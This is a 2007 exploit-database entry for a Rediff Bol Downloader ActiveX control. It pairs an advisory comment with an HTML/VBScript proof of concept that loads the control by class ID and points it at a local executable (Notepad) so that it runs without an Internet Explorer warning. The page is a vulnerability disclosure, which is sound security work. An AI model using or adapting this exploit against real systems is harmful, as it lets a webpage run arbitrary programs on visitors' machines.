Rediff Bol Downloader (ActiveX Control) Execute Local File Exploit

🗓️ 01 Jan 2007 00:00:00Reported by RootType

Rediff Bol Downloader ActiveX Control Exploi


                                                &lt;!--
Rediff&nbsp;Bol&nbsp;Downloader&nbsp;ActiveX&nbsp;Allows&nbsp;Downloading&nbsp;and&nbsp;Spawning&nbsp;Arbitary
Files
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Affected&nbsp;Program&nbsp;:&nbsp;Rediff&nbsp;Bol&nbsp;Download&nbsp;ActiveX
ActiveX&nbsp;(OCX)&nbsp;Control&nbsp;that&nbsp;downloads&nbsp;the&nbsp;Rediff&nbsp;Bol&nbsp;Messenger
setup&nbsp;and&nbsp;spawns&nbsp;it.


Related&nbsp;URL&nbsp;:&nbsp;http://messenger.rediff.com/newbol/


Discovered&nbsp;by&nbsp;:&nbsp;Gregory&nbsp;R.&nbsp;Panakkal


Vulnerability&nbsp;Description&nbsp;:

Rediff&nbsp;Bol&nbsp;Downloader&nbsp;ActiveX&nbsp;control&nbsp;allows&nbsp;any&nbsp;webpage
to&nbsp;download&nbsp;and&nbsp;spawn&nbsp;file.&nbsp;These&nbsp;file&nbsp;can&nbsp;be&nbsp;of&nbsp;any&nbsp;type.
No&nbsp;filtering&nbsp;is&nbsp;done.

IE&nbsp;Displays&nbsp;an&nbsp;alert,&nbsp;if&nbsp;the&nbsp;code&nbsp;points&nbsp;to&nbsp;a&nbsp;executable&nbsp;file&nbsp;on&nbsp;the
internet.&nbsp;But&nbsp;execution&nbsp;of&nbsp;local&nbsp;files&nbsp;displays&nbsp;no&nbsp;alert.


Tested&nbsp;On&nbsp;:
*&nbsp;IE&nbsp;7.0.5730.11&nbsp;(WinXP&nbsp;SP2)
*&nbsp;IE&nbsp;6.0.2900.2180&nbsp;(WinXP&nbsp;SP2)
--&gt;

&lt;html&gt;

&lt;body&gt;
&lt;OBJECT&nbsp;id=&quot;rboldwn&quot;&nbsp;WIDTH=445&nbsp;HEIGHT=40&nbsp;classid=&quot;clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03&quot;&nbsp;codebase=&quot;http://imdownloads.rediff.com/newbol/Bol.CAB&quot;&gt;
&lt;/OBJECT&gt;

&lt;script&nbsp;language=&quot;vbscript&quot;&gt;
&nbsp;rboldwn.url&nbsp;=&nbsp;&quot;file://C:/WINNT/Notepad.exe&quot;
&nbsp;rboldwn.fontsize&nbsp;=&nbsp;14
&nbsp;rboldwn.barcolor&nbsp;=&nbsp;EE4E00
&nbsp;rboldwn.start&nbsp;=&nbsp;&quot;start&quot;
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;

01 Jan 2007 00:00Current

7.1High risk

Vulners AI Score7.1